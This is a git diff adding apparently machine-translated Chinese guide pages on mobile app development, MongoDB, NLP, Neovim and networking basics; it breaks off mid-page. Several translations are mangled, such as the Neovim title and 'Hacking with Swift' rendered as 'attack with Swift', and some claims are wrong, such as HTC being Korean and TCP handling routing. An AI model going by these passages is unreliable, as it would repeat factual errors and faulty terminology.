diff --git a/client/src/guide/chinese/mobile-app-development/mobile-app-development-distribution/index.md b/client/src/guide/chinese/mobile-app-development/mobile-app-development-distribution/index.md
new file mode 100644
index 0000000000..3691f744ce
--- /dev/null
+++ b/client/src/guide/chinese/mobile-app-development/mobile-app-development-distribution/index.md
@@ -0,0 +1,19 @@
+---
+title: Distribution of mobile app development
+localeTitle: 移动应用开发的分布
+---
+### 分配
+
+两个最大的应用商店是Android版Google Play和iOS版App Store。
+
+#### Google Play
+
+主要文章：Google Play Google Play（以前称为Android Market）是Google为Android设备开发的国际在线软件商店。它于2008年10月开放。2013年7月，通过Google Play商店下载的应用数量超过500亿，超过100万个可用应用。截至2016年9月，根据Statista的数据，可用的应用程序数量超过240万。该商店2015年的收入为60亿美元。
+
+#### 应用商店
+
+主要文章：App Store（iOS） Apple的App Store for iOS并不是第一个应用程序分发服务，但它引发了移动革命，并于2008年7月10日开放，截至2011年1月，报告的下载量超过100亿。最初的AppStore于1993年由Jesse Tayler在NeXTWorld Expo上向史蒂夫·乔布斯展示。截至2011年6月6日，有425,000个应用程序可供使用，已被2亿iOS用户下载。在Apple 2012年全球开发者大会期间，首席执行官蒂姆库克宣布App Store有650,000个可供下载的应用程序以及从该应用程序商店下载的300亿个应用程序。从另一个角度来看，BBC从跟踪服务Adeven在2013年7月看到的数据表明，商店中超过三分之二的应用程序是“僵尸”，几乎没有被消费者安装过。
+
+#### 其他
+
+Amazon Appstore是Android操作系统的替代应用程序商店。它于2011年3月开放，截至2015年6月，该应用程序商店拥有近334,000个应用程序。 Amazon Appstore的Android应用程序也可以在BlackBerry 10设备上安装和运行。 BlackBerry World是BlackBerry 10和BlackBerry OS设备的应用程序商店。它于2009年4月作为BlackBerry App World开放。 诺基亚手机的Ovi（诺基亚）于2009年5月在国际上推出。2011年5月，诺基亚宣布计划以诺基亚品牌重新命名其Ovi产品线，并于2011年10月将Ovi商店更名为诺基亚商店。诺基亚商店将不再允许开发者从2014年1月开始为其传统的Symbian和MeeGo操作系统发布新的应用程序或应用程序更新.Microsoft为其Windows Phone平台推出了Windows Phone Store，该平台于2010年10月推出。截至2012年10月，它拥有超过120,000个应用程序。 Windows Store是Microsoft针对其Windows 8和Windows RT平台推出的。虽然它还可以提供经过认证可与Windows 8兼容的传统桌面程序列表，但它主要用于分发“Windows应用商店应用” - 主要用于平板电脑和其他基于触摸的设备（但仍可用于键盘和鼠标，以及台式电脑和笔记本电脑）。 Samsung Apps于2009年9月推出。截至2011年10月，Samsung Apps的下载量达到了1000万。该商店在125个国家/地区推出，并提供适用于Windows Mobile，Android和Bada平台的应用程序。 Electronic AppWrapper是第一家以电子方式集体提供加密和购买的电子分销服务 F-Droid - 免费和开源的Android应用程序存储库。 Android设备还有许多其他独立的应用商店。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mobile-app-development/mobile-app-development-evolution/index.md b/client/src/guide/chinese/mobile-app-development/mobile-app-development-evolution/index.md
new file mode 100644
index 0000000000..ef641a92cb
--- /dev/null
+++ b/client/src/guide/chinese/mobile-app-development/mobile-app-development-evolution/index.md
@@ -0,0 +1,29 @@
+---
+title: Evolution of Mobile Application Development
+localeTitle: 移动应用程序开发的演变
+---
+美国方言协会的Ben Zimmer说，投票中最有说服力的论据之一来自一位女士，她说甚至连她的祖母也听说过。他正在解释这家拥有128年历史的组织决定选择App这个词作为2010年度最佳词汇的原因。2008年两年前，Apple推出了iOS App Store，允许第三方应用程序开发和分配。这种App市场的释放导致了新的和创新的应用程序的爆炸式增长，并成为移动设备用户词汇的一部分。
+
+#### 20世纪80年代
+
+随着应用程序分发服务的到来，移动应用程序的大量消费开始于21世纪后期，但移动应用程序开发的历史在过去是进一步的。在20世纪80年代，英国公司Psion推出了一系列名为Psion Organizer的袖珍电脑。 PDA的第二个型号（个人数字助理）具有文件管理器，密码保护应用程序以及拼图和冒险游戏等应用程序。后来它推出了带有Backronym Electronic Piece of Cheese的EPOC操作系统，它为电子表格和文字处理器等更复杂的应用程序提供了动力。
+
+#### 20世纪90年代
+
+通常被称为世界上第一款智能手机的IBM西蒙推出了专注于提高工作效率的电子邮件，地址簿，计算器和日历等应用程序。随着处理器变得更快，内存设备变得更便宜，新的创新过滤了。 1998年，EPOC成为Symbian，这是一家由诺基亚，Psion，爱立信和摩托罗拉共同拥有的合资企业。 Symbian OS被诺基亚，三星，LG和爱立信广泛使用，虽然它们具有不同的平台和API。
+
+同时，另一家公司Palm于1996年发布了Palm Pilot，其功能包括触摸屏和数据同步，这些功能现在在当代智能手机中无处不在。
+
+#### 2000年
+
+2007年，Apple推出了第一款在iOS操作系统上运行的iPhone。几个月后，一家韩国公司HTC推出了第一款由互联网巨头谷歌开发的Android操作系统智能手机。这两个平台都为应用提供了一个市场，用户可以自由地为智能手机安装付费应用和免费应用。 Apple的App Store和谷歌的Android Market（现在名为Google Play）以及多点触控屏幕彻底改变了App生态系统。微软还加入了与诺基亚通过自己的Symbian OS采用Windows操作系统的潮流。
+
+#### 2010年至今
+
+Android和iOS平台在2009-10都达到了十亿安装里程碑，2011年，应用程序使用量超过了移动网络使用率。移动电话的便利性使应用程序优于桌面软件，并且越来越优先于移动网络。
+
+2014年通过Apple Watch，Google Glass和Android Wear带来了可穿戴技术。这些设备可以将触觉技术用于小众实用程序，如健身追踪器和导航工具，并与智能手机连接以进行邮件通知。
+
+#### 未来
+
+物联网（IOT），云计算和虚拟现实将为移动应用开辟新的途径。一个可以检测空罐装牛奶并通过物联网集成电子商务应用程序或虚拟现实游戏和教育应用程序订购的冰箱，可能性很多。在应用程序之间的激烈竞争中，创新和动态将是捕捉市场和客户心灵的关键。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mobile-app-development/mobile-app-development-introduction/index.md b/client/src/guide/chinese/mobile-app-development/mobile-app-development-introduction/index.md
new file mode 100644
index 0000000000..c57e75da35
--- /dev/null
+++ b/client/src/guide/chinese/mobile-app-development/mobile-app-development-introduction/index.md
@@ -0,0 +1,39 @@
+---
+title: Mobile app development
+localeTitle: 移动应用开发
+---
+### 应用程序开发简介
+
+最近一种比较流行的编码形式是创建在手机和平​​板电脑等移动设备上运行的应用程序或应用程序。您可能在日常生活中使用一系列不同的应用程序。创建自己的一个不是很酷吗？ 在蓬勃发展的应用行业中，作为开发人员有很多好处。相当多的人在开发和销售应用程序方面做得很好，你有机会成为其中之一。你甚至可能成为下一个Nick D'Aloisio，他将他的iPhone应用程序Summly卖给了雅虎！ 3000万美元 此外，这是让您的工作进入人们口袋的最佳方式！
+
+### 应用开发概述
+
+移动应用程序是针对某个平台开发的，今天最流行的两个平台是iOS和Android。 iOS平台支持为iPhone和iPad构建的应用程序。要开发适用于iPhone或iPad的应用程序，您需要使用Objective-C编码语言和Cocoa框架。您还需要使用名为Xcode的IDE（集成开发环境）。请注意，Xcode只能在Mac上运行，因此您需要使用Mac来制作iOS应用程序.Android应用程序是使用Java编码语言和Android软件开发工具包开发的，该工具包可在Mac，PC或Linux上运行。您还需要使用Eclipse等IDE。还有其他移动平台，如Windows Phone，但iOS和Android绝对是最受欢迎的。大多数培训都侧重于这些平台。
+
+#### iOS（iPhone，iPad）
+
+iOS是由Apple Inc.开发和分发的移动操作系统。它最初于2007年发布，用于iPhone，iPod Touch和Apple TV。 iOS源自OS X，与之共享Darwin基础。 iOS是Apple在Apple计算机中使用的OS X操作系统的移动版本。
+
+#### 离子的
+
+Ionic是用于开发移动应用程序的开源框架。它提供了用于构建具有原生外观的移动UI的工具和服务。离子框架需要本机包装才能在移动设备上运行。这是一个介绍性教程，介绍了Ionic开源框架的基础知识，并解释了如何处理其各种组件和子组件。
+
+#### Android的
+
+Android是一款基于Linux的开源操作系统，适用于智能手机和平板电脑等移动设备。 Android是由谷歌和其他公司领导的开放手机联盟开发的。本教程将教您基本的Android编程，并将带您了解与Android应用程序开发相关的一些高级概念。
+
+#### Xamarin
+
+Xamarin是一家总部位于旧金山的软件公司。它提供商业软件开发工具，允许用户使用C＃语言和.NET框架开发Android，iOS和Windows应用程序。 Xamarin构建于.NET Framework之上。它允许用户创建轻松跨多个平台运行的应用程序。在本教程中，我们将解释如何使用Xamarin提供原生iOS，Android和Windows应用程序。
+
+#### PhoneGap的
+
+PhoneGap是Adobe System的软件开发框架，用于开发移动应用程序。要使用PhoneGap开发应用程序，开发人员不需要了解移动编程语言，只需要了解HTML，CSS和JScript等Web开发语言。 PhoneGap为所有流行的移动操作系统平台（如iOS，Android，BlackBerry和Windows Mobile OS等）生成应用程序。在本教程中，我们将专注于开发适用于Android平台的App。本教程将为您提供有关如何使用PhoneGap服务快速生成应用程序的充分信息。
+
+#### 反应原生
+
+React Native就像PhoneGap一样，cordova为Web开发人员提供了进入移动应用程序开发世界的机会。它是来自Facebook i的跨平台移动应用程序框架，可以使用Javascript（JSX）为Android和ios平台构建应用程序。与cordova和phonegap生产的混合应用程序相反，React Native生成可以利用所有本机功能的真正本机应用程序。它带有标语“一次编写，随处运行”。通常，Tech公司过去都有独立的团队，他们会为ios和android维护代码库。 React Native以有效的方式解决了这个问题，允许具有React背景的Web开发人员构建出色的移动应用程序。继续这个轨道，开始使用React。在进入React Native之前，应该熟悉所有这些概念，例如组件，状态，道具，路由等。如果可以在React中创建大量项目以便熟悉JSX语法和所有其他在React Native中肯定会受益的东西也是很好的。
+
+#### PowerApps
+
+PowerApps于2017年推出，是微软基于浏览器的平台，允许开发人员和非开发人员从可选模板或空白画布构​​建移动应用程序。 PowerApps的核心是平台即服务。它允许您创建在Android，iOS，Windows（现代应用程序）上运行的移动应用程序 - 以及几乎任何Internet浏览器。它会处理操作系统之间的差异，并允许您运行应用程序。它本质上是一个容器，使移动应用程序更容易在移动平台上使用。 PowerApps可显着加快业务应用程序的构建速度，将解决方案的时间从数周或数月缩短至数分钟，并为新类别的应用程序创建者提供支持。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mobile-app-development/swift-development/index.md b/client/src/guide/chinese/mobile-app-development/swift-development/index.md
new file mode 100644
index 0000000000..fb4010abb4
--- /dev/null
+++ b/client/src/guide/chinese/mobile-app-development/swift-development/index.md
@@ -0,0 +1,49 @@
+---
+title: Swift Development
+localeTitle: 迅速发展
+---
+## 迅速发展
+
+本节包含与使用Swift的Native iOS应用程序开发相关的资源。
+
+这是我精心策划的Swift和iOS资源列表，可以成为一名自学成才的iOS开发人员。
+
+## 一些让你入门的动力
+
+*   [14岁的神童程序员梦寐以求](https://www.youtube.com/watch?v=DBXZWB_dNsw)
+*   [Facebook最年轻的工程师 - 迈克尔萨曼](https://www.youtube.com/watch?v=mmQG_BCiVHU)
+*   [一位12岁的app开发者|托马斯苏亚雷斯](https://www.youtube.com/watch?v=Fkd9TWUtFm0)
+*   [独立应用程序开发人员的生活 - Computerphile](https://www.youtube.com/watch?v=yVRtJbXQsL8)
+*   [全职独立iOS开发者和1Button的联合创始人：托马斯卡斯特的顶级开发者访谈](https://www.raywenderlich.com/159963/full-time-indie-ios-dev-co-founder-1button-top-dev-interview-thomas-castel)
+*   [iOS开发者在2017年赚了多少钱（平均） - Brian Voong](https://www.youtube.com/watch?v=6t3ue7dX5WI)
+
+## 学习斯威夫特
+
+### 初学者
+
+#### 图书
+
+*   [Swift编程 - 大书呆子牧场指南](https://www.bignerdranch.com/books/swift-programming/)
+*   [用Swift攻击](https://www.hackingwithswift.com/read)
+
+#### 视频教程
+
+*   [Swift Track - Team Treehouse](https://teamtreehouse.com/tracks/learn-swift)
+*   [iOS Developer Nanodegree - Udacity](https://www.udacity.com/course/ios-developer-nanodegree--nd003)
+
+#### Youtube播放列表
+
+*   [Bob的完整Swift 3教程](https://www.youtube.com/playlist?list=PL8btZwalbjYlRZh8Q1VK80Ly0YsZ7PZxx)
+*   [Swift 3入门 - Apple WWDC 2016](https://www.youtube.com/watch?v=AzesJrOcFDU)
+
+### 高级
+
+#### 图书
+
+*   [Pro Swift](https://www.hackingwithswift.com/store/pro-swift)
+*   [快速编码挑战](https://www.hackingwithswift.com/store/swift-coding-challenges)
+*   [实用的iOS 10](https://www.hackingwithswift.com/store/practical-ios10)
+
+#### Youtube播放列表
+
+*   [Swift高级面向对象编程](https://www.youtube.com/playlist?list=PL8btZwalbjYmZwMwqeeAZKHsQ81GxiuaD)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mongodb/index.md b/client/src/guide/chinese/mongodb/index.md
new file mode 100644
index 0000000000..3fa7243ab3
--- /dev/null
+++ b/client/src/guide/chinese/mongodb/index.md
@@ -0,0 +1,38 @@
+---
+title: MongoDB
+localeTitle: MongoDB的
+---
+## MongoDB的
+
+MongoDB是一个开源的非关系数据库，它使用类似JSON的结构来存储数据。 它使用文档模型来存储和检索数据，而不是使用顺序数据库（如SQL或Oracle）使用的表模型。
+
+### NOSQL与RDBMS
+
+| MongoDB术语和概念| SQL术语和概念| | --- | --- | |数据库|数据库| |收藏|表| |文件|排| |领域|专栏| |指数|指数| |嵌入式文档|表连接|
+
+### MongoDB特性
+
+1.  下一代数据库
+2.  没有加入
+3.  聚类
+4.  开源
+5.  架构较少
+6.  没有关系
+
+### MongoDB的功能
+
+1.  文件数据库
+2.  高性能
+3.  丰富的查询语言
+4.  高可用性
+5.  水平可伸缩性
+
+### 更多信息
+
+[什么是Mongo DB？](https://www.mongodb.com/what-is-mongodb)
+
+[Wikipedia关于面向文档的数据库的文章](https://en.wikipedia.org/wiki/Document-oriented_database)
+
+[SQL与NoSQL](https://insights.dice.com/2012/07/16/sql-vs-nosql-which-is-better/)
+
+[从MongoDB学习MongoDB](https://university.mongodb.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/natural-language-processing/index.md b/client/src/guide/chinese/natural-language-processing/index.md
new file mode 100644
index 0000000000..de0c4975f2
--- /dev/null
+++ b/client/src/guide/chinese/natural-language-processing/index.md
@@ -0,0 +1,38 @@
+---
+title: Introduction to NLP
+localeTitle: NLP简介
+---
+## 大纲
+
+*   动机
+*   用例
+*   语言建模
+*   进一步阅读
+
+## 动机
+
+使机器理解我们的语言一直是我们的梦想。自乔姆斯基提出无语语法以来，语言学家一直希望提出解决方案来理解依赖于语境的语法。因此，学术门徒围绕这一主题进化是很自然的。
+
+## 用例
+
+人们在许多有趣的应用程序中使用了这个概念。很少有令人兴奋的内容包括谷歌翻译，Siri或Gmail自动回复建议。然而，人们正致力于改进这些预测，并且正在研究如何使机器更可靠地回答问题。
+
+## 自然语言处理的工作原理
+
+早些时候，NLP采用了基于规则的方法，即所有规则都是硬编码的（例如编写语法）。然而，这对语言模型的变化并不十分有效。 目前，NLP过程使用人工智能进行。它们主要依赖于深度学习，这是一种确定数据模式并使用它来训练模型的AI。这种方法比以前使用的方法更好，因为在学习存在的大量数据时，机器可以专注于大多数常见情况，这对于手写规则来说并不容易，因为关于努力的位置并不明显。 。此外，随着数据的增加，这些模型变得更加可靠，但在早期的方法中，只有通过增加规则的复杂性才能使其准确，这是一项更加困难的任务。 该模型通过分析大型典型的现实世界范例来学习语言规则。这种方法需要大量的标记数据，这对NLP来说是一个很大的障碍。
+
+## 语言建模
+
+对于那些想要进入这个领域的人，我打算用2个概念开始你。
+
+#### 代号化
+
+这里的任务听起来很简单。给定语料库（句子数据集），生成单个标记（有意义的单词）。我们需要标记单词和句子。想到的第一种方法是按时间和空间划分。然而，这不起作用。想想约翰先生。 “先生”和“约翰”有两句话吗？当然不是。现在考虑连字符分隔的单词。你想把它们分成2个单词还是1个单词？这些困难的问题使得标记化的任务不那么简单。继续从nltk中选择一个语料库，并为你自己的tokeniser创建你自己的正则表达式！
+
+#### n-gram模型
+
+下一个任务是构建语言模型。在这里，我们考虑假设第n个单词仅取决于之前的n-1个单词。最常用的是2克和3克型号。要构建一个3克模型，只需将3个标记组合在一起，并在语料库中计算它们的频率。您现在已准备好预测一组3个单词的概率！
+
+## 进一步阅读
+
+NLP的领域是巨大的。如果您已经阅读了这篇文章并且已经实现了上述内容，那么您肯定喜欢这个。继续阅读Jurafsky的书，学习更多新概念。请记住，实施它们也很重要。
\ No newline at end of file
diff --git a/client/src/guide/chinese/neovim/index.md b/client/src/guide/chinese/neovim/index.md
new file mode 100644
index 0000000000..21a63a6242
--- /dev/null
+++ b/client/src/guide/chinese/neovim/index.md
@@ -0,0 +1,39 @@
+---
+title: Neovim
+localeTitle: 擅自
+---
+# Neovim
+
+Neovim是Vim（它本身来自[Stevie](https://en.wikipedia.org/wiki/Stevie_%28text_editor%29 "Stevie") ）的传统中的重构，有时是编辑器。 它不是重写，而是Vim的延续和扩展。 存在许多克隆和衍生物，一些非常聪明 - 但没有一个是Vim。 Neovim专为需要Vim的优质部分的用户而设计。 Vim是一个高度可配置的文本编辑器，用于创建和更改任何类型的文本非常有效。 它包含在大多数UNIX系统和Apple OS X的“vi”中。
+
+## 目标
+
+*   提供灵活，可扩展的Vim，具有一流的快速脚本替代方案（lua / luajit）
+*   跨平台提供一致的用户体验
+*   利用正在进行的Vim开发：和谐
+*   保持与Vim的功能平等;避免回归
+*   继续Vim向后兼容的传统，除了少数例外
+*   保持核心小而快
+*   定位libuv支持的所有平台
+*   开箱即用，适用于新用户，尤其是普通用户
+*   委托插件，但保留编辑器核心的实用程序
+
+## 非目标
+
+*   将Vim变成IDE
+*   限制使用Neovim构建的第三方应用程序（例如IDE！）
+*   弃用VimL
+*   VI-兼容性
+
+## 原则
+
+*   不要从原点退步
+*   通过权衡成本和收益来决定结果
+*   使用自动化来解决问题
+*   启用新贡献者：消除进入障碍
+*   取消阻止第三方和插件作者：允许进度
+*   在品味或含糊不清的问题上，赞成传统/兼容性......
+*   ......但如果利益是压倒性的，那么更喜欢可用性而不是传统
+*   为实用性提供机会™
+
+欲了解更多信息，请[访问Neovim的主页](https://neovim.io/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/network-engineering/data-frames/index.md b/client/src/guide/chinese/network-engineering/data-frames/index.md
new file mode 100644
index 0000000000..9960bfe1de
--- /dev/null
+++ b/client/src/guide/chinese/network-engineering/data-frames/index.md
@@ -0,0 +1,15 @@
+---
+title: Data Frames
+localeTitle: 数据框架
+---
+## 数据框架
+
+数据帧（帧）是可通过分组交换网络切换的数据单元。帧是开放系统互连（OSI）第2层协议数据单元（PDU）。使用媒体访问控制（MAC）地址寻址帧。有几种不同的第2层通信协议，每种协议具有不同的控制信息，但大多数使用通用格式。
+
+帧分为控制信息和数据（也称为“有效载荷”）。控制信息包含在封装有效载荷的帧头和尾部中。封装是第3层数据包在前端添加第2层报头，在最后添加第2层报尾的过程。这是数据帧的标准格式：标头后跟有效载荷，后跟预告片。
+
+![数据链路层中的帧](http://www.highteck.net/images/156-Datalink-PDU.jpg)
+
+数据帧头包含协议特定信息，但所有头包括正在使用的协议和源/目标MAC地址。通用第2层协议包括以太网和点对点协议（PPP）。数据帧预告片通常包含帧校验序列（FCS），允许接收设备验证接收帧的完整性。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/network-engineering/ethernet-header/index.md b/client/src/guide/chinese/network-engineering/ethernet-header/index.md
new file mode 100644
index 0000000000..d56aae8011
--- /dev/null
+++ b/client/src/guide/chinese/network-engineering/ethernet-header/index.md
@@ -0,0 +1,11 @@
+---
+title: Ethernet Header
+localeTitle: 以太网接头
+---
+## 以太网报头格式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/ethernet-header/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/network-engineering/icmp-header/index.md b/client/src/guide/chinese/network-engineering/icmp-header/index.md
new file mode 100644
index 0000000000..d8455246de
--- /dev/null
+++ b/client/src/guide/chinese/network-engineering/icmp-header/index.md
@@ -0,0 +1,11 @@
+---
+title: ICMP Header
+localeTitle: ICMP标题
+---
+## ICMP标头格式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/icmp-header/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/network-engineering/index.md b/client/src/guide/chinese/network-engineering/index.md
new file mode 100644
index 0000000000..a44af2eb7c
--- /dev/null
+++ b/client/src/guide/chinese/network-engineering/index.md
@@ -0,0 +1,21 @@
+---
+title: Network Engineering
+localeTitle: 网络工程
+---
+## 网络工程
+
+**分组**是OSI模型的_网络层_中的传输数据的抽象。它由实际数据以及从网络中的一个节点到另一个节点的中介所需的其他字段组成。由于一次通过网络将所有数据一起传输是低效的，因此将其分解为小数据包然后传递。
+
+数据包看起来像这样：
+
+![包](https://www.computerhope.com/jargon/p/packet.jpg)
+
+网络层将数据分解为小数据包，每个数据包都有唯一的标识符。然后将它们传递到运输层，运输层使用_传输控制协议_ （TCP）和_互联网协议_ （IP）通过路由器和交换机等多个中间节点将它们传输到目的地。 TCP处理实际路由，而IP有助于设备的逻辑寻址（IP地址），以跟踪发送数据包的节点。
+
+一旦数据包到达目的地，就会发回确认。如果由于任何原因丢弃了数据包，则可以从源节点再次申请该数据包。
+
+网络工程师负责实施，维护，支持，开发以及在某些情况下设计组织内或组织之间的通信网络。
+
+他们的目标是确保高可用性网络基础架构的完整性，从而为其用户提供最高性能。用户可以是员工，客户，客户和供应商。网络可以包括：
+
+电脑; 语音; 防火墙。 网络工程师可以在内部作为组织的IT支持团队的一部分工作，也可以在外部作为与许多客户合作的外包IT网络咨询公司的一部分工作。
\ No newline at end of file
diff --git a/client/src/guide/chinese/network-engineering/ipv4-header/index.md b/client/src/guide/chinese/network-engineering/ipv4-header/index.md
new file mode 100644
index 0000000000..4782f5aadc
--- /dev/null
+++ b/client/src/guide/chinese/network-engineering/ipv4-header/index.md
@@ -0,0 +1,11 @@
+---
+title: IPv4 Header 
+localeTitle: IPv4标头
+---
+## IPv4标头格式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/ipv4-header/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/network-engineering/ipv6-header/index.md b/client/src/guide/chinese/network-engineering/ipv6-header/index.md
new file mode 100644
index 0000000000..d5cd1a3dca
--- /dev/null
+++ b/client/src/guide/chinese/network-engineering/ipv6-header/index.md
@@ -0,0 +1,11 @@
+---
+title: IPv6 Header
+localeTitle: IPv6标头
+---
+## IPv6标头格式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/ipv6-header/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/network-engineering/osi-layers/index.md b/client/src/guide/chinese/network-engineering/osi-layers/index.md
new file mode 100644
index 0000000000..36a721116d
--- /dev/null
+++ b/client/src/guide/chinese/network-engineering/osi-layers/index.md
@@ -0,0 +1,44 @@
+---
+title: OSI Layers 
+localeTitle: OSI图层
+---
+## OSI图层
+
+### 介绍
+
+你有没有想过如何通过网络将数据从一台机器发送到另一台机器？如果是，那么您正在寻找开放系统互连模型。
+
+OSI模型用于帮助标准化和表征数据应如何从发送方流向接收方，而不考虑端点的内部结构（发送方，接收方）。
+
+提出这种模型的**组织**是**国际标准化组织** ，因此该模型正式称为**ISO - OSI** 。
+
+### 建筑
+
+如下图所示，模型将网络划分为**7层** 。 OSI模型中的数据通信从发送侧堆栈的顶层（应用层）开始，沿着堆栈向下传输到发送方的最低层（物理层），然后在接收时遍历物理网络连接到底层一边，以及它的OSI模型堆栈。
+
+我们采用分层方法，因为与单个复杂模型相比，很容易设计具有专用功能的独立层，这些功能相互作用。
+
+![跨多个层的发送方，中间节点和接收方之间的关系](https://user-images.githubusercontent.com/16820612/33828192-2773b920-de91-11e7-8804-08dbfaf0143a.jpg)
+
+### **重要观察**
+
+*   _**端到端层：**_ 在上图中，您会注意到协议的上层（应用程序 - 传输），发送方和接收方的层通过箭头直接连接。这是因为这些层不知道用于传输数据的中间设备（例如交换机和路由器）。这些层似乎彼此直接通信。
+    
+*   _**数据单位：**_ 在上图中，最左边是每个层中使用的数据单位。传输层（及其下面的层）具有从发送方传输到接收方的数据单元的唯一名称。
+    
+
+### **图层的功能**
+
+*   _**第1层 - 物理层：**_物理层是OSI层中最低的，也是最复杂的层。这是因为使用了不当的硬件技术。该层的功能是定义如何传输比特流而不是逻辑数据包。它涉及定义将在哪个频率上发送比特，将使用何种调制，如何将比特分组以及比特传输所需的其他低位物理参数。
+    
+*   _**第2层 - 数据链路层：**_数据链路层负责将数据传输到同一局域网（LAN）上的相邻设备。该层还具有确保将无错误数据从物理层传递到更高层的规定。因此，它支持错误检测和纠正机制，以确保维护数据的完整性。
+    
+*   _**第3层 - 网络层：**_网络层负责将数据包转发到其他网络。通常，网络被划分为多个子网，并且在路由器的帮助下，网络层在这些网络之间转发分组以建立广域网（WAN）。
+    
+*   _**第4层 - 传输层：**_传输层确保消息按顺序无错误地传递，并且没有丢失或重复。它可以减轻高层协议对它们与其对等设备之间数据传输的任何担忧。
+    
+*   _**第5层 - 会话层：**_会话层允许在不同站点上运行的进程之间建立会话。
+    
+*   _**第6层 - 表示层：**_表示层格式化要呈现给应用层的数据。
+    
+*   _**第7层 - 应用层：**_应用层充当用户和应用程序进程访问网络服务的窗口。
\ No newline at end of file
diff --git a/client/src/guide/chinese/network-engineering/packets/index.md b/client/src/guide/chinese/network-engineering/packets/index.md
new file mode 100644
index 0000000000..1c64667990
--- /dev/null
+++ b/client/src/guide/chinese/network-engineering/packets/index.md
@@ -0,0 +1,47 @@
+---
+title: Packets
+localeTitle: 包
+---
+## 包
+
+分组是数字网络上的基本通信单元。根据用于传输数据的协议**，**分组也称为**数据报，分段，块，小区或帧** 。当必须传输数据时，它在传输之前被分解为类似的数据结构，称为数据包，一旦到达目的地就被重新组装到原始数据块。
+
+与电路交换网络相比，分组交换网络通常更有效。电路交换网络需要在通信期间预留资源。分组交换网络可以按需发送分组。
+
+在OSI模型中，分组对应于第3层（网络层）。
+
+## 数据包的结构
+
+数据包的结构取决于数据包的类型和协议。请仔细阅读下面的数据包和协议。通常，数据包具有标头和有效负载。
+
+报头保留有关分组，服务和其他传输相关数据的开销信息。例如，通过Internet进行数据传输需要将数据分解为IP数据包（IP（Internet Protocol）中定义），IP数据包包括：
+
+*   源IP地址，即发送数据的机器的IP地址。
+*   目标IP地址，即发送数据的计算机或设备。
+*   数据包的序列号，这是一个将数据包按顺序排列的数字，以便它们以一种方式重新组装，以便在传输之前完全恢复原始数据。
+*   服务类型。
+*   标志。
+*   其他一些技术数据。
+*   有效载荷代表数据包的大部分（以上所有都被视为开销），实际上是正在传输的数据。
+
+## 数据包和协议
+
+数据包的结构和功能各不相同，具体取决于实现它们的协议。 VoIP使用IP协议，因此使用IP数据包。例如，在以太网网络中，数据以以太网帧传输。
+
+在IP协议中，IP分组通过因特网在因特网上传播，这些节点是从源到目的地的路上发现的设备和路由器（在此上下文中称为节点）。
+
+每个数据包根据其源和目标地址路由到目标。在每个节点处，路由器基于涉及网络统计和成本的计算来决定向哪个相邻节点发送分组更有效。
+
+此选定节点发送数据包的效率更高。这是分组交换的一部分，它实际上刷新了Internet上的数据包，并且每个数据包都找到了自己的目的地路径。这种机制免费使用互联网的底层结构，这是VoIP呼叫和互联网呼叫最自由或非常便宜的主要原因。
+
+与传统电话相反，传统电话必须专用和保留源和目的地之间的线路或电路（称为电路交换），因此成本高，分组交换免费利用现有网络。
+
+另一个例子是TCP（传输控制协议），它在我们称之为TCP / IP套件的IP中使用。 TCP负责确保数据传输的可靠性。为了实现这一点，它检查数据包是否按顺序到达，是否有任何数据包丢失或已被复制，以及数据包传输是否有任何延迟。它通过设置超时和称为确认的信号来控制它。
+
+## 结论
+
+数据通过数字网络传输数据包，我们消耗的所有数据，无论是文本，音频，图像还是视频，都会分解为在我们的设备或计算机中重新组装的数据包。这就是为什么，例如，当图片通过慢速连接加载时，您会看到它的块状物一个接一个地出现。
+
+#### 更多信息：
+
+[所有网络概念的简要细节](https://www.lifewire.com/what-is-a-data-packet-3426310 "Lifewire关于数据包的文章")
\ No newline at end of file
diff --git a/client/src/guide/chinese/network-engineering/tcp-header/index.md b/client/src/guide/chinese/network-engineering/tcp-header/index.md
new file mode 100644
index 0000000000..858e3907ec
--- /dev/null
+++ b/client/src/guide/chinese/network-engineering/tcp-header/index.md
@@ -0,0 +1,11 @@
+---
+title: TCP Header
+localeTitle: TCP标头
+---
+## TCP标头格式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/tcp-header/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/network-engineering/udp-header/index.md b/client/src/guide/chinese/network-engineering/udp-header/index.md
new file mode 100644
index 0000000000..811bc17ad7
--- /dev/null
+++ b/client/src/guide/chinese/network-engineering/udp-header/index.md
@@ -0,0 +1,20 @@
+---
+title: UDP Header
+localeTitle: UDP标头
+---
+## UDP头格式
+
+用户数据报协议（UDP）是Internet协议（IP）套件中常用的协议之一，以及TCP和ICMP。 UDP的定义功能是快速，无连接协议。通过UDP标头可以促进这些功能。
+
+UDP标头由以下四个字段组成：
+
